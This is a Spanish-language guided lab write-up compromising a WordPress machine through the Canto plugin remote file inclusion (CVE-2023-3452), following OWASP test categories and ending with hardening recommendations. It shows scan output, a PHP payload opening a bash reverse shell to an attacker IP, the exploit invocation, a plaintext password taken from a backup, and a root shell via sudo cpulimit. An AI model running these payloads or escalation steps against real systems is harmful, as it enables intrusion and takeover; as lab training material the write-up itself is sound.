Laboratorio Guiado - 12-canto

Objetivo: Comprometer un sistema objetivo dentro de una red interna mediante técnicas de enumeración, identificación de servicios web **WordPress con plugins vulnerables**, explotación de vulnerabilidades de **Remote File Inclusion (RFI)**, para obtener ejecución remota de código, obtención de shell reversa, descubrimiento de credenciales expuestas en backups, acceso a usuarios privilegiados y escalada de privilegios mediante abuso de configuraciones inseguras de sudo, siguiendo las categorías del **OWASP Testing Guide v4** (Enlace a la máquina).

---

1. OTG-INFO-001 – Fingerprinting de Red y Descubrimiento de Objetivos

En esta primera etapa, se debe identificar la máquina víctima dentro de la red local para focalizar los análisis posteriores. Utilizamos `arp-scan` para enviar paquetes ARP en la subred y detectar hosts activos. Filtramos con `grep` y extraemos la IP con `awk`.

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.11
```

Detectamos que el objetivo tiene la IP **192.168.1.11**.

---

2. OTG-INFO-002 – Enumeración de Puertos y Servicios

Con la IP identificada, realizamos un escaneo completo de puertos TCP usando Nmap con un escaneo SYN rápido (`-sS`) y minimizando la resolución DNS para acelerar la búsqueda.

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.11

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:04:80:B3 (Oracle VirtualBox virtual NIC)
```

Se detectan abiertos los puertos **22 (SSH)** y **80 (HTTP)**.

Para obtener información detallada sobre los servicios, lanzamos un escaneo con detección de versiones y scripts predeterminados:

```
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.11

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
```

```
|_  256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
|_http-generator: WordPress 6.5.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

El puerto 80 ejecuta un servidor **Apache con WordPress 6.5.3**, lo que sugiere la posibilidad de vulnerabilidades en plugins o temas.

---

3. OTG-INFO-003 – Enumeración de Directorios y Recursos Web

Para descubrir rutas y recursos accesibles en el sitio web, se usa **Gobuster** con una lista amplia de extensiones y un diccionario mediano, lo que permite detectar puntos de interés para posibles ataques.

```
❯ gobuster dir -u 'http://192.168.1.11' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
...
/wp-content           (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 47514]
/wp-login.php         (Status: 200) [Size: 5194]
/license.txt          (Status: 200) [Size: 19903]
/wp-includes          (Status: 200) [Size: 60615]
/readme.html          (Status: 200) [Size: 7425]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 200) [Size: 5194]
/xmlrpc.php           (Status: 405) [Size: 42]
/wp-signup.php        (Status: 200) [Size: 5386]
/server-status        (Status: 403) [Size: 277]
...
```

Se identifican rutas comunes de WordPress, incluidas páginas de administración, contenido y plugins, confirmando que el CMS está activo y accesible.

---

4. OTG-VULN-001 – Detección de Plugins y Versiones Vulnerables

Con base en la información recogida, se usa **WPScan** para detectar plugins instalados y sus versiones, buscando posibles vulnerabilidades conocidas.

```
❯ wpscan --url http://192.168.1.11 --plugins-detection aggressive -t 50
```

```
...
[+] canto
 | Location: http://192.168.1.11/wp-content/plugins/canto/
 | Last Updated: 2025-04-10T07:17:00.000Z
 | Readme: http://192.168.1.11/wp-content/plugins/canto/readme.txt
 | [!] The version is out of date, the latest version is 3.1.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.11/wp-content/plugins/canto/, status: 200
 |
 | Version: 3.0.4 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.1.11/wp-content/plugins/canto/readme.txt
 | Confirmed By: Composer File (Aggressive Detection)
 |  - http://192.168.1.11/wp-content/plugins/canto/package.json, Match:
'3.0.4'
...
```

El plugin **Canto versión 3.0.4** está instalado y desactualizado, lo que abre la puerta a vulnerabilidades reportadas en versiones anteriores.

---

5. OTG-VULN-002 – Búsqueda y Explotación de Vulnerabilidades Conocidas

Utilizando **SearchSploit**, buscamos exploits públicos relacionados con la versión vulnerable detectada.

```
› searchsploit canto 3.0.4
------------------------------------------------------------------------------
 Exploit Title                                                |  Path
------------------------------------------------------------------------------
Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and RCE | php/webapps/51826.py
```

Se confirma que existe una vulnerabilidad de **Remote File Inclusion (RFI) y ejecución remota de código (RCE)** para la versión encontrada **(CVE 2023-3452)**.

---

6. OTG-VULN-003 – Ejecución de Código Remoto y Obtención de Shell

Se prepara un payload PHP que abre una shell inversa para conectar al atacante.

```
› cat pwned.php
<?php
  shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.4/4321 0>&1'");
?>
```

Luego, se ejecuta el exploit de RFI con el script de SearchSploit, apuntando al servidor y esperando la conexión inversa:

```
❯ python3 51826.py -u http://192.168.1.11 -LHOST 192.168.1.4 -LPORT 1234 -s
pwned.php
Exploitation URL:
http://192.168.1.11/wp-content/plugins/canto/includes/lib/download.php?wp_abs
path=http://192.168.1.4:1234&cmd=whoami
Local web server on port 1234...
nc: getaddrinfo: Servname not supported for ai_socktype
192.168.1.11 - - [08/Aug/2025 17:28:24] "GET /wp-admin/admin.php HTTP/1.1"
200 -
```

En otra terminal se abre el listener para recibir la shell:

```
❯ ncat -nlvp 4321
...
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$
```

Se obtiene una shell limitada bajo el usuario **www-data** (el usuario del servidor web).

---

7. OTG-INFO-004 – Enumeración Local y Descubrimiento de Usuarios

Se listan los usuarios que tienen shell válida para identificar posibles cuentas de interés:

```
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$ cat
/etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
erik:x:1001:1001::/home/erik:/bin/bash
```

El usuario **erik** parece un objetivo válido para escalada.

---

8. OTG-INFO-005 – Búsqueda de Información Sensible en Directorios de Usuarios

Se accede al directorio de usuario `erik` y se encuentran notas con información que puede ser útil para el siguiente paso.

```
www-data@canto:/home/erik/notes$ ls -la
total 16
drwxrwxr-x 2 erik erik     4096 May 12  2024 .
drwxr-xr-- 5 erik www-data 4096 May 12  2024 ..
-rw-rw-r-- 1 erik erik       68 May 12  2024 Day1.txt
-rw-rw-r-- 1 erik erik       71 May 12  2024 Day2.txt
```

Contenido de las notas:

```
www-data@canto:/home/erik/notes$ cat Day1.txt
On the first day I have updated some plugins and the website theme.

www-data@canto:/home/erik/notes$ cat Day2.txt
I almost lost the database with my user so I created a backups folder.
```

Indican actividades recientes que podrían apuntar a respaldos o contraseñas.

---

9. OTG-INFO-006 – Descubrimiento de Credenciales en Backups

En la ruta `/var/wordpress/backups` se encuentra un archivo con usuarios y contraseñas almacenadas en texto plano:

```
www-data@canto:/var/wordpress/backups$ cat 12052024.txt

-----------------------------------
|    Users   |       Password       |
|------------|----------------------|
| erik       | th1sIsTheP3ssw0rd!   |
-----------------------------------
```

Esta mala práctica facilita la obtención de credenciales.

---

10. OTG-AUTHN-003 – Acceso con Credenciales Robadas

Se intenta cambiar al usuario `erik` usando la contraseña encontrada:

```
www-data@canto:/var/wordpress/backups$ su erik
Password: th1sIsTheP3ssw0rd!

erik@canto:/var/wordpress/backups$
```

Se obtiene acceso con un usuario con más privilegios.

---

11. OTG-PRIV-001 – Escalada de Privilegios a Root mediante Sudo

Se revisan los comandos que `erik` puede ejecutar con `sudo` sin contraseña:

```
erik@canto:~$ sudo -l

Matching Defaults entries for erik on canto:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin\:/snap/bin,
    use_pty

User erik may run the following commands on canto:
    (ALL : ALL) NOPASSWD: /usr/bin/cpulimit
```

`erik` puede ejecutar `cpulimit` como root sin necesidad de contraseña.

---

12. OTG-PRIV-002 – Obtención de Shell Root mediante Abuso de Sudo

Ejecutamos `cpulimit` con `sudo` para lanzar un shell de root:

```
erik@canto:~$ sudo cpulimit -l 100 -f /bin/sh

# whoami
root
```

Conseguimos una shell con privilegios de administrador y la **flag final**.

---

13. Recomendaciones de Seguridad

OTG-INFO-002 – Enumeración y Servicios Expuesos

- Limitar el acceso a servicios críticos (SSH, HTTP) mediante firewall (iptables, ufw).
- Implementar listas blancas de IP para acceso remoto a SSH.
- Deshabilitar servicios innecesarios o expuestos públicamente.

OTG-VULN-001 – Uso de Software Vulnerable

- Mantener WordPress y todos sus plugins actualizados con las últimas versiones y parches.

- Revisar y eliminar plugins innecesarios o abandonados.
- Monitorizar alertas de vulnerabilidades (CVE) y aplicar correcciones rápidamente.

OTG-INFO-003 – Exposición de Información y Directorios

- Configurar correctamente los archivos `.htaccess` y permisos para evitar acceso no autorizado a directorios y archivos sensibles.
- Bloquear accesos a directorios como `/wp-content/plugins/` o `/wp-admin/` cuando no sea necesario.

OTG-AUTHN-001 – Gestión de Credenciales

- Nunca almacenar contraseñas en texto plano en archivos o backups.
- Implementar almacenamiento seguro y cifrado para credenciales y backups.
- Cambiar y usar contraseñas fuertes y únicas para cada usuario.

OTG-AUTHN-004 – Protección contra Fuerza Bruta

- Configurar mecanismos anti-brute force como fail2ban o limitación de intentos en SSH y WordPress.
- Utilizar autenticación de múltiples factores (MFA) en accesos críticos.

OTG-PRIV-001 – Escalada de Privilegios

- Restringir el uso de `sudo` solo a los comandos estrictamente necesarios y con control de acceso.
- Evitar configuraciones NOPASSWD para comandos que pueden dar acceso a shells.
- Auditar periódicamente los permisos y grupos asignados a usuarios.

Revisión General del Sistema

- Implementar un sistema de monitoreo y alertas (auditd, Wazuh) para detectar actividades sospechosas.
- Realizar copias de seguridad regulares con cifrado y almacenarlas fuera del servidor principal.
- Revisar y endurecer la configuración de WordPress, Apache y SSH siguiendo las mejores prácticas oficiales.